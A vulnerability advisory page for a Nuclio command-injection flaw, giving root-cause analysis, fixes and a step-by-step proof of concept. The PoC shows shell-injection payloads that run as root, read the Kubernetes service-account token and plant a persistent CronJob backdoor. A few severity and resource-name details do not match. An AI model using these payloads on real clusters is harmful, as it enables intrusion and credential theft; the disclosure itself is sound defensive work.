CVE-2026-52831: OS Command Injection

Published Jul 8, 2026
·
Updated

Summary

Nuclio controller builds a curl invocation string for each cron trigger and stores it as the args of a Kubernetes CronJob container (/bin/sh, -c, <command>). Two fields in the trigger specification flow into this string without adequate sanitization:

- event.headers keys — interpolated verbatim inside double-quoted --header arguments (lazy.go:2150); any key containing " breaks the quoting context. - event.body — processed with strconv.Quote, which escapes " and \ but not $(), allowing command substitution (lazy.go:2188).

Both paths were dynamically verified on Nuclio 1.15.27 (latest as of 2026-05-17).

- CVSS 3.1: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H — 9.9 (Critical) - CWE: CWE-78 (Improper Neutralization of Special Elements used in an OS Command) - Affected versions: Nuclio <= 1.15.27 (latest, dynamically verified)

---

Details

Root Cause

When a NuclioFunction with a cron trigger is reconciled by the controller, it calls generateCronTriggerCronJobSpec in pkg/platform/kube/functionres/lazy.go:2113. This function builds a shell command string by concatenating user-supplied values and passes it directly to /bin/sh -c.

Path-A — Header key injection (lazy.go:2146-2151)

go // lazy.go:2146-2151 headersAsCurlArg := "" for headerKey := range attributes.Event.Headers { headerValue := attributes.Event.GetHeaderString(headerKey) headersAsCurlArg = fmt.Sprintf("%s --header \"%s: %s\"", headersAsCurlArg, headerKey, headerValue) // ↑ // headerKey is user-controlled; no escaping applied }

headerKey is taken from event.headers in the trigger specification. Since it is interpolated directly inside a double-quoted shell argument, a key containing " terminates the quoting context. The remainder of the key is then interpreted as raw shell syntax.

Attack string for headerKey: X-Inject"; ARBITRARYCOMMAND; echo "

Resulting shell command fragment: bash --header "X-Inject"; ARBITRARYCOMMAND; echo ": value"

Path-B — Body command substitution (lazy.go:2173-2192)

go // lazy.go:2188-2192 curlCommand = fmt.Sprintf("echo %s > %s && %s %s", strconv.Quote(eventBody), // escapes " → \" and \ → \\, but NOT $() eventBodyFilePath, curlCommand, eventBodyCurlArg)

strconv.Quote wraps the string in double quotes and escapes " and \, but does not escape $, (, or ). A body value of $(CMD) becomes the Go string "$(CMD)", which the shell expands as command substitution when executing the /bin/sh -c string.

Attack string for event.body: $(ARBITRARYCOMMAND)

Resulting shell command: bash echo "$(ARBITRARYCOMMAND)" > /tmp/eventbody.out && curl ...

Execution sink (lazy.go:2212)

go // lazy.go:2212 Args: []string{"/bin/sh", "-c", curlCommand}

The entire concatenated string — including any injected content — is executed by the shell.

Persistence mechanism

The CronJob created by the controller carries no ownerReferences linking it to the NuclioFunction. Kubernetes cascade deletion only applies to owned resources. If the controller crashes between function deletion and explicit CronJob deletion, the CronJob continues executing on its schedule indefinitely. The controller code itself acknowledges this at lazy.go:522:

go // Delete function k8s CronJobs before the Deployment so they cannot spawn new // CronJobs are not owned by the Deployment, so cascade does not remove them.

---

PoC

Environment Setup

The following steps reproduce the vulnerability in an isolated local environment.

Step 1 — Install prerequisites

bash kind (Kubernetes-in-Docker) curl -Lo /usr/local/bin/kind \ https://kind.sigs.k8s.io/dl/v0.22.0/kind-linux-amd64 chmod +x /usr/local/bin/kind

Helm curl https://raw.githubusercontent.com/helm/helm/main/scripts/get-helm-3 | bash

Step 2 — Create isolated kind cluster

bash kind create cluster --name vul-010 kubectl cluster-info --context kind-vul-010

Expected output: Kubernetes control plane is running at https://127.0.0.1:xxxxx

Step 3 — Deploy Nuclio (latest 1.15.27)

bash helm repo add nuclio https://nuclio.github.io/nuclio/charts helm repo update

kubectl create namespace nuclio

helm install nuclio nuclio/nuclio \ --namespace nuclio \ --kube-context kind-vul-010 \ --version 0.21.27 \ --set dashboard.enabled=true \ --set controller.enabled=true

Wait for the controller to become ready: bash kubectl wait --for=condition=Available deployment/nuclio-controller \ -n nuclio --context kind-vul-010 --timeout=120s

Step 4 — Create a NuclioProject

bash kubectl apply --context kind-vul-010 -f - <<'EOF' apiVersion: nuclio.io/v1beta1 kind: NuclioProject metadata: name: default namespace: nuclio spec: description: "default project" EOF

Step 5 — Prepare a placeholder image for the function deployment

The controller needs a non-empty image field to create the function Deployment. Load any small image that is already present on the host:

bash Tag alpine as the placeholder function image docker tag gcr.io/iguazio/alpine:3.20 placeholder-function:latest kind load docker-image placeholder-function:latest --name vul-010

Also load the CronJob runner image (appropriate/curl or any sh-capable image) docker tag gcr.io/iguazio/alpine:3.20 appropriate/curl:latest kind load docker-image appropriate/curl:latest --name vul-010

---

Exploitation — Path-A: Header Key Injection

Step 6 — Create a NuclioFunction with malicious header key

The injection payload in the header key is: X-Inject"; echo "===RCECONFIRMED==="; id; cat /var/run/secrets/kubernetes.io/serviceaccount/token | head -c 50; echo "

bash kubectl apply --context kind-vul-010 -f - <<'EOF' apiVersion: nuclio.io/v1beta1 kind: NuclioFunction metadata: name: vul010-rce-visible namespace: nuclio labels: nuclio.io/project-name: default spec: image: placeholder-function:latest runtime: python:3.9 handler: main:handler build: functionSourceCode: "ZGVmIGhhbmRsZXIoY29udGV4dCwgZXZlbnQpOgogICAgcmV0dXJuICdoZWxsbyc=" triggers: cron-inject: kind: cron attributes: schedule: "/1 " event: headers: X-Normal: safe-value 'X-Inject"; echo "===RCECONFIRMED==="; id; cat /var/run/secrets/kubernetes.io/serviceaccount/token | head -c 50; echo "': marker minReplicas: 1 maxReplicas: 1 EOF

Step 7 — Trigger the controller to create the CronJob

bash kubectl patch nucliofunction vul010-rce-visible -n nuclio \ --context kind-vul-010 \ --type=merge \ -p '{"status":{"state":"waitingForResourceConfiguration"}}'

Wait ~10 seconds for the controller to reconcile, then list CronJobs: bash kubectl get cronjob -n nuclio --context kind-vul-010

Expected output: NAME SCHEDULE SUSPEND ACTIVE LAST SCHEDULE AGE nuclio-cron-job-d84tg6lmuaqc73arn15g /1 False 0 <none> 12s

Step 8 — Inspect the generated CronJob command (static confirmation)

bash CJNAME=$(kubectl get cronjob -n nuclio --context kind-vul-010 \ -o jsonpath='{.items[0].metadata.name}')

kubectl get cronjob "$CJNAME" -n nuclio --context kind-vul-010 \ -o jsonpath='{.spec.jobTemplate.spec.template.spec.containers[0].args}' \ | python3 -m json.tool

Actual output from verification: json [ "/bin/sh", "-c", "curl --silent --header \"X-Inject\"; echo \"===RCECONFIRMED===\"; id; cat /var/run/secrets/kubernetes.io/serviceaccount/token | head -c 50; echo \": marker\" --header \"X-Normal: safe-value\" --header \"X-Nuclio-Invoke-Trigger: cron\" --header \"X-Nuclio-Target: vul010-rce-visible\" nuclio-vul010-rce-visible.nuclio.svc.cluster.local:8080 --retry 10 --retry-delay 1 --retry-max-time 10 --retry-connrefused" ]

The injected commands are clearly embedded between the shell-separated statements.

Step 9 — Manually trigger a CronJob run (dynamic confirmation)

bash kubectl create job --from=cronjob/"$CJNAME" \ vul010-rce-proof -n nuclio --context kind-vul-010

Wait for the pod to complete kubectl wait pod -n nuclio --context kind-vul-010 \ -l job-name=vul010-rce-proof \ --for=condition=Ready --timeout=30s 2>/dev/null || true

POD=$(kubectl get pods -n nuclio --context kind-vul-010 \ -l job-name=vul010-rce-proof -o jsonpath='{.items[0].metadata.name}')

kubectl logs "$POD" -n nuclio --context kind-vul-010

Actual pod log output from verification: /bin/sh: curl: not found ===RCECONFIRMED=== uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video) eyJhbGciOiJSUzI1NiIsImtpZCI6InNtaUE1WS0yVXl2ZUhsTG: marker --header X-Normal: safe-value ...

- Line 1: curl exits immediately at "X-Inject" (no curl binary in alpine) - Line 2: echo "===RCECONFIRMED===" executes — injection confirmed - Line 3: id executes — container runs as uid=0 (root) - Line 4: cat .../token | head -c 50 exfiltrates the first 50 bytes of the K8s SA token

---

Exploitation — Path-B: Body Command Substitution

Step 10 — Create a NuclioFunction with malicious event body

bash kubectl apply --context kind-vul-010 -f - <<'EOF' apiVersion: nuclio.io/v1beta1 kind: NuclioFunction metadata: name: vul010-body-inject namespace: nuclio labels: nuclio.io/project-name: default spec: image: placeholder-function:latest runtime: python:3.9 handler: main:handler build: functionSourceCode: "ZGVmIGhhbmRsZXIoY29udGV4dCwgZXZlbnQpOgogICAgcmV0dXJuICdoZWxsbyc=" triggers: cron-body: kind: cron attributes: schedule: "/1 " event: body: "$(id 1>&2; echo BODYINJECTIONPROOF)" minReplicas: 1 maxReplicas: 1 EOF

kubectl patch nucliofunction vul010-body-inject -n nuclio \ --context kind-vul-010 \ --type=merge \ -p '{"status":{"state":"waitingForResourceConfiguration"}}'

Step 11 — Verify CronJob command (static)

bash sleep 15 CJNAMEB=$(kubectl get cronjob -n nuclio --context kind-vul-010 \ -l "nuclio.io/function-name=vul010-body-inject" \ -o jsonpath='{.items[0].metadata.name}')

kubectl get cronjob "$CJNAMEB" -n nuclio --context kind-vul-010 \ -o jsonpath='{.spec.jobTemplate.spec.template.spec.containers[0].args}' \ | python3 -m json.tool

Actual output from verification: json [ "/bin/sh", "-c", "echo \"$(id 1>&2; echo BODYINJECTIONPROOF)\" > /tmp/eventbody.out && curl --silent --header \"X-Nuclio-Invoke-Trigger: cron\" --header \"X-Nuclio-Target: vul010-body-inject\" nuclio-vul010-body-inject.nuclio.svc.cluster.local:8080 ..." ]

$() is present unescaped inside a double-quoted string passed to /bin/sh -c.

Step 12 — Dynamic execution

bash kubectl create job --from=cronjob/"$CJNAMEB" \ vul010-body-proof -n nuclio --context kind-vul-010

PODB=$(kubectl get pods -n nuclio --context kind-vul-010 \ -l job-name=vul010-body-proof -o jsonpath='{.items[0].metadata.name}')

kubectl logs "$PODB" -n nuclio --context kind-vul-010

Actual pod log output from verification: uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video) /bin/sh: curl: not found

id ran as root via $() expansion before curl was even attempted.

---

Persistence Verification

Step 13 — Confirm CronJob has no ownerReferences

bash kubectl get cronjob "$CJNAME" -n nuclio --context kind-vul-010 \ -o jsonpath='{.metadata.ownerReferences}'

Expected: empty (no output)

Step 14 — Simulate controller crash during function deletion

bash Stop the controller kubectl scale deployment nuclio-controller -n nuclio \ --context kind-vul-010 --replicas=0

Delete the function kubectl delete nucliofunction vul010-rce-visible -n nuclio \ --context kind-vul-010

sleep 5

Function is gone — CronJob remains kubectl get nucliofunction -n nuclio --context kind-vul-010 kubectl get cronjob -n nuclio --context kind-vul-010

Actual output from verification: NuclioFunctions: NAME AGE vul010-body-inject2 2m30s (vul010-rce-visible deleted — not listed)

CronJobs: NAME SCHEDULE SUSPEND ACTIVE nuclio-cron-job-d84tj8lmuaqc73arn170 /1 False 0 (CronJob belonging to the deleted function — still running)

Step 15 — Execute the persistent backdoor

bash kubectl create job --from=cronjob/nuclio-cron-job-d84tj8lmuaqc73arn170 \ vul010-persist-backdoor -n nuclio --context kind-vul-010

kubectl logs vul010-persist-backdoor- -n nuclio --context kind-vul-010

Actual pod log output from verification: /bin/sh: curl: not found PERSISTENTBACKDOORACTIVE : attacker-value --header X-Nuclio-Invoke-Trigger: cron --header X-Nuclio-Target: vul010-persist-test ...

The injected command executes after the source function has been deleted.

---

Cleanup

bash kubectl delete nucliofunction --all -n nuclio --context kind-vul-010 2>/dev/null kubectl delete cronjob --all -n nuclio --context kind-vul-010 2>/dev/null kind delete cluster --name vul-010

---

Impact

Remote Code Execution: An attacker with network access to the Dashboard API (unauthenticated by default) can execute arbitrary shell commands inside the CronJob pod on every scheduled tick.

Runs as root: Every CronJob pod confirmed running as uid=0(root) during verification.

ServiceAccount token exfiltration: The pod's mounted SA token (/var/run/secrets/ kubernetes.io/serviceaccount/token) is readable by the injected commands and can be exfiltrated to an attacker-controlled host via the injected curl call. This token enables: - Enumeration of Kubernetes API resources in the nuclio namespace - In misconfigured clusters, cluster-wide API access

Persistent backdoor: The CronJob resource has no ownerReferences and is not garbage-collected by Kubernetes. In the window between controller unavailability and explicit cleanup, the CronJob continues executing the attacker's commands on the configured schedule (minimum every 1 minute) — persisting beyond function deletion, Nuclio redeployments, or loss of attacker Dashboard access.

Cloud environment lateral movement: In managed Kubernetes environments (AWS EKS, GCP GKE, Azure AKS), the injected commands can access the cloud instance metadata service to retrieve IAM credentials, enabling lateral movement outside the cluster.

---

Severity

Critical — CVSS 3.1 Score: 9.9

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H

| Metric | Value | Rationale | |---|---|---| | Attack Vector | Network | Dashboard is network-accessible | | Attack Complexity | Low | No preconditions; straightforward payload | | Privileges Required | None | NOP auth is the default configuration | | User Interaction | None | Fully automated via API | | Scope | Changed | Impact crosses pod boundary into cluster | | Confidentiality | High | SA token, secrets readable | | Integrity | High | Arbitrary command execution as root | | Availability | High | Persistent CronJob can exhaust cluster resources |

---

Affected Versions

All Nuclio versions that support Kubernetes CronJob-based cron triggers, which includes the current production release.

- Confirmed affected: 1.15.27 (latest as of 2026-05-17, dynamically verified) - Earliest affected: introduced when CronJob-based cron trigger support was added (cronTriggerCreationMode: kube)

---

Patched Versions

https://github.com/nuclio/nuclio/releases/tag/1.16.4

---

Workarounds

1. Network-level restriction: Place the Nuclio Dashboard behind an authenticated reverse proxy or restrict port 8070 to trusted networks only. This limits who can submit function specifications.

2. Disable cron triggers: If cron trigger functionality is not required, avoid creating functions with kind: cron triggers.

3. RBAC restriction: Remove the batch API group permission from the Nuclio controller ServiceAccount to prevent CronJob creation. Note: this disables cron trigger functionality entirely.

None of the above eliminate the root cause; they only reduce exposure.

---

Resources

- Vulnerable file: pkg/platform/kube/functionres/lazy.go - Path-A: line 2150 — header key interpolation - Path-B: lines 2188-2189 — body interpolation with strconv.Quote - Execution sink: line 2212 — Args: []string{"/bin/sh", "-c", curlCommand} - Go strconv.Quote documentation: does not escape $, (, ), or backticks - CWE-78: Improper Neutralization of Special Elements used in an OS Command - CVSS 3.1 Calculator: AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H

---

Remediation

P0 — Eliminate the shell layer (preferred fix)

Replace the /bin/sh -c <string> invocation with an exec-format argument list. This removes shell interpretation entirely:

go // Current (vulnerable): lazy.go:2212 Args: []string{"/bin/sh", "-c", curlCommand}

// Fixed: build curl args as a []string slice func buildCurlArgs(headers map[string]string, body, address string) []string { args := []string{"curl", "--silent"} for k, v := range headers { args = append(args, "--header", k+": "+v) } if body != "" { args = append(args, "--data", body) } args = append(args, "--retry", "10", "--retry-delay", "1", "--retry-max-time", "10", "--retry-connrefused", address) return args }

// Container spec: Container{ Command: nil, Args: buildCurlArgs(headersMap, eventBody, functionAddress), }

With exec format, each argument is passed directly to the process without shell interpretation. No quoting or escaping is needed.

P1 — Shell-safe quoting (fallback if shell is required)

If the shell invocation must be retained, apply proper POSIX shell quoting to all user-supplied values before interpolation. The equivalent of Python's shlex.quote must be implemented in Go:

go func shellQuote(s string) string { return "'" + strings.ReplaceAll(s, "'", "'\\''") + "'" }

Apply to both headerKey, headerValue, and eventBody before inserting into the command string.

Affected Software

1 affected componentFixes available
go/github.com/nuclio/nuclio<0.0.0-20260601075854-3356b86a8bfa
0.0.0-20260601075854-3356b86a8bfa

Remediation

Recommended actions to resolve this vulnerability, in priority order.

  1. Upgrade

    Upgrade go/github.com/nuclio/nuclio to a version that resolves this vulnerability.

    Fixed in 0.0.0-20260601075854-3356b86a8bfa
  2. Upgrade

    Upgrade nuclio to a version that resolves this vulnerability.

    Fixed in 1.16.4
  3. Configuration

    If cron trigger functionality is not required, avoid creating cron triggers (disable cron triggers / do not configure CronJob-based cron triggers).

    Nuclio Dashboard cron trigger functionality = disabled
  4. Configuration

    Ensure controller-created CronJobs have `ownerReferences` linking them to the NuclioFunction so they are garbage-collected (material notes CronJobs created by the controller carry no `ownerReferences` and persist).

    Kubernetes CronJob cleanup CronJob ownerReferences = set/ensure
  5. Compensating control

    Place the Nuclio Dashboard behind authenticated access / restrict network access to the Dashboard API (material states Dashboard is network-accessible and unauthenticated by default; also references placing it behind authentication).

  6. Compensating control

    Remove batch API group permission from the Nuclio controller to restrict CronJob creation (RBAC restriction mentioned as remediation: remove the `batch` API group group permission from the Nuclio controller).

  7. Operational

    If you have already deleted the affected NuclioFunction, explicitly delete the associated Kubernetes CronJobs that may still be running (material notes function deletion does not remove CronJobs and CronJobs continue executing until explicit deletion).

Event History

Jul 8, 2026
Advisory Published
via GitHub·08:24 PM
Data Sourced
via GitHub·08:24 PM
DescriptionSeverityWeaknessAffected Software

Frequently Asked Questions

1

What is the severity of CVE-2026-52831?

CVE-2026-52831 has a critical severity rating of 10.

2

What type of vulnerability is CVE-2026-52831?

CVE-2026-52831 is classified as an OS Command Injection vulnerability.

3

How do I fix CVE-2026-52831?

To mitigate CVE-2026-52831, update the Nuclio controller to the latest secure version following the recommended patch.

4

What are the risks associated with CVE-2026-52831?

The risks include unauthorized command execution that can lead to system compromise due to inadequate sanitization of input.

5

Which software is affected by CVE-2026-52831?

CVE-2026-52831 affects the Nuclio controller, specifically in the context of Kubernetes CronJobs.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203